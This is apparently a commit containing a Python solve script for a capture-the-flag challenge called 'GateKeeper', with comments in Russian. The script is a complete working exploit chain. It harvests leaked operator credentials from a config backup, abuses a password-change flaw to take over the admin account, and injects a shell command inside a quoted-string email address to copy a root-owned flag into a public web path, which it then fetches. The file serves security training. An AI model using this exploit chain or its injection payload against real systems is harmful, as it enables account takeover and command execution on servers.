Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
+123
View File
@@ -0,0 +1,123 @@
#!/usr/bin/env python3
# solve.py — автоматическое решение задания GateKeeper (только stdlib).
#
# Проходит все 4 слоя:
# 1. Info leak: GET /static/config.json.bak -> креды operator
# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ
# пользователем) -> меняем пароль admin, логинимся как admin
# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email
# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
# 4. Exfil: GET /public/f.txt -> флаг
#
# Запуск: python solve.py http://localhost:18113
import json
import re
import sys
import urllib.request
import urllib.error
import http.cookiejar
PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
EXFIL_PATH = "/public/f.txt"
FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}")
def make_client(base):
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def req(method, path, body=None):
data = None
headers = {}
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
r = urllib.request.Request(base + path, data=data, headers=headers, method=method)
try:
with opener.open(r, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
return req
def step(msg):
print(f"[*] {msg}")
def ok(msg):
print(f"[+] {msg}")
def die(msg):
print(f"[-] FAIL: {msg}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print(f"usage: python {sys.argv[0]} http://localhost:PORT")
sys.exit(2)
base = sys.argv[1].rstrip("/")
req = make_client(base)
# --- Слой 1: info leak ---
step(f"слой 1: читаем {base}/static/config.json.bak")
code, text = req("GET", "/static/config.json.bak")
if code != 200:
die(f"config.json.bak недоступен (HTTP {code})")
m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S)
if not m:
die("пароль operator не найден в бэкапе конфига")
op_user, op_pass = "operator", m.group(1)
ok(f"утёкшие креды: {op_user}:{op_pass}")
# --- Логин operator ---
step("логинимся как operator")
code, text = req("POST", "/login", {"username": op_user, "password": op_pass})
if code != 200:
die(f"login operator: HTTP {code}: {text}")
ok("сессия operator получена")
# --- Слой 2: auth bypass в смене пароля ---
step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password")
new_admin_pass = "gk_pwned_2026"
code, text = req("POST", "/account/password", {
"username": "admin",
"old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя
"new_password": new_admin_pass,
})
if code != 200:
die(f"auth bypass не сработал: HTTP {code}: {text}")
ok("пароль admin перезаписан (old_password сверен с чужой учёткой)")
# --- Логин admin ---
step("логинимся как admin")
code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass})
if code != 200:
die(f"login admin: HTTP {code}: {text}")
ok("сессия admin получена")
# --- Слой 3: command injection через RFC-valid email ---
step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}")
code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL})
if code != 200:
die(f"sync: HTTP {code}: {text}")
ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}")
# --- Слой 4: эксфильтрация ---
step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}")
code, text = req("GET", EXFIL_PATH)
if code != 200:
die(f"эксфильтрация не удалась: HTTP {code}")
m = FLAG_RE.search(text)
if not m:
die(f"файл получен, но флага нет: {text!r}")
ok("флаг получен!")
print()
print(m.group(0))
if __name__ == "__main__":
main()